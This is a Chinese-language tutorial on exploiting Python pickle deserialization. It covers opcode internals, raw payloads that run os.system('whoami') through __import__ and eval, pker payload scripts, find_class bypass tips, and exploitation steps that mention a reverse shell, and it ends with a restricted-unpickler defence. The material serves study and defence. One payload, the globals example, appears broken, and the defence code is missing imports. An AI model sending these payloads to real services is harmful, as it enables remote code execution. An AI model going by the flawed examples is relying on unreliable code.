pickle反序列化深入python源码分析
字数 1264 2025-08-06 18:07:44
Python Pickle反序列化安全分析与利用技术
0x00 知识铺垫
Pickle模块简介
Pickle是Python中用于对象序列化和反序列化的标准模块,可以将Python对象转换为字节流(序列化),也可以从字节流重建对象(反序列化)。
序列化与反序列化基本操作
import pickle
# 序列化
data = {"key": "value"}
serialized = pickle.dumps(data) # 将对象序列化为字节流
# 反序列化
deserialized = pickle.loads(serialized) # 从字节流重建对象
反序列化安全问题
Pickle反序列化是不安全的操作,因为它可以执行任意Python代码。攻击者可以构造恶意的序列化数据,在反序列化时执行危险操作。
0x01 pickle反序列化过程分析
Pickle虚拟机
Pickle有自己的基于栈的虚拟机,执行特定的操作码(opcode)来完成反序列化过程。
主要操作码解析
c- 导入模块和类(- 压入标记到栈S- 压入字符串到栈t- 从栈顶构建元组R- 调用可调用对象p- 存储栈顶到memog- 从memo获取值到栈i- 实例化对象b- 构建对象
反序列化执行流程
- 解析操作码
- 根据操作码执行相应操作
- 维护栈和memo状态
- 最终构建出目标对象
0x02 利用技术
全局变量引入
通过__import__函数引入模块并执行函数:
opcode = b'''c__builtin__
__import__
(S'os'
tR(S'system'
S'whoami'
tR.'''
修改全局变量
利用globals函数修改全局变量:
opcode = b'''c__builtin__
globals
(tR(S'__builtins__'
S'evil_function'
tR.'''
函数执行
直接调用危险函数:
opcode = b'''c__builtin__
eval
(S'__import__("os").system("whoami")'
tR.'''
0x03 WAF绕过技术
绕过find_class限制
许多WAF会检查find_class方法限制可导入的模块,可以通过以下方式绕过:
- 使用
builtins模块间接调用 - 利用已导入模块的子模块
- 通过
getattr动态获取属性
绕过域名空间限制
- 使用
_作为模块名分隔符代替点 - 利用字符串拼接构造模块名
- 通过
__import__的fromlist参数
0x04 自动化编写pickle opcode
pker工具使用
pker是一个自动化生成pickle opcode的工具,可以简化利用过程。
全局变量覆盖示例
var1 = GLOBAL('__builtin__', 'eval')
var1('__import__("os").system("whoami")')
函数执行示例
var1 = GLOBAL('os', 'system')
var1('whoami')
实例化对象
inst = INST('os', 'system', 'whoami')
手动辅助技巧
- 使用
pickletools分析opcode - 手动调整memo存储位置
- 优化opcode顺序减少检测
0x05 防御措施
安全建议
- 避免反序列化不可信数据
- 使用
json等安全替代方案 - 实现严格的
find_class限制
安全配置示例
import pickle
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
# 只允许安全的模块和类
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError(f"global '{module}.{name}' is forbidden")
def safe_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
0x06 实战案例
漏洞发现
- 寻找接受pickle数据的接口
- 测试基本反序列化payload
- 逐步绕过防御措施
利用链构造
- 分析目标环境可用模块
- 寻找可用的危险函数
- 构造最小化opcode
回显与交互
- 通过subprocess获取输出
- 建立反向shell
- 文件读写操作
总结
Pickle反序列化是一个强大的功能,但也带来了严重的安全风险。理解其内部机制对于安全开发和漏洞挖掘都至关重要。开发者应当避免直接反序列化不可信数据,安全研究人员则需要深入理解opcode执行原理和各种绕过技术。
通过本文介绍的技术,读者可以全面了解pickle反序列化的安全问题和利用方法,但请注意这些技术仅应用于合法授权的安全测试和研究。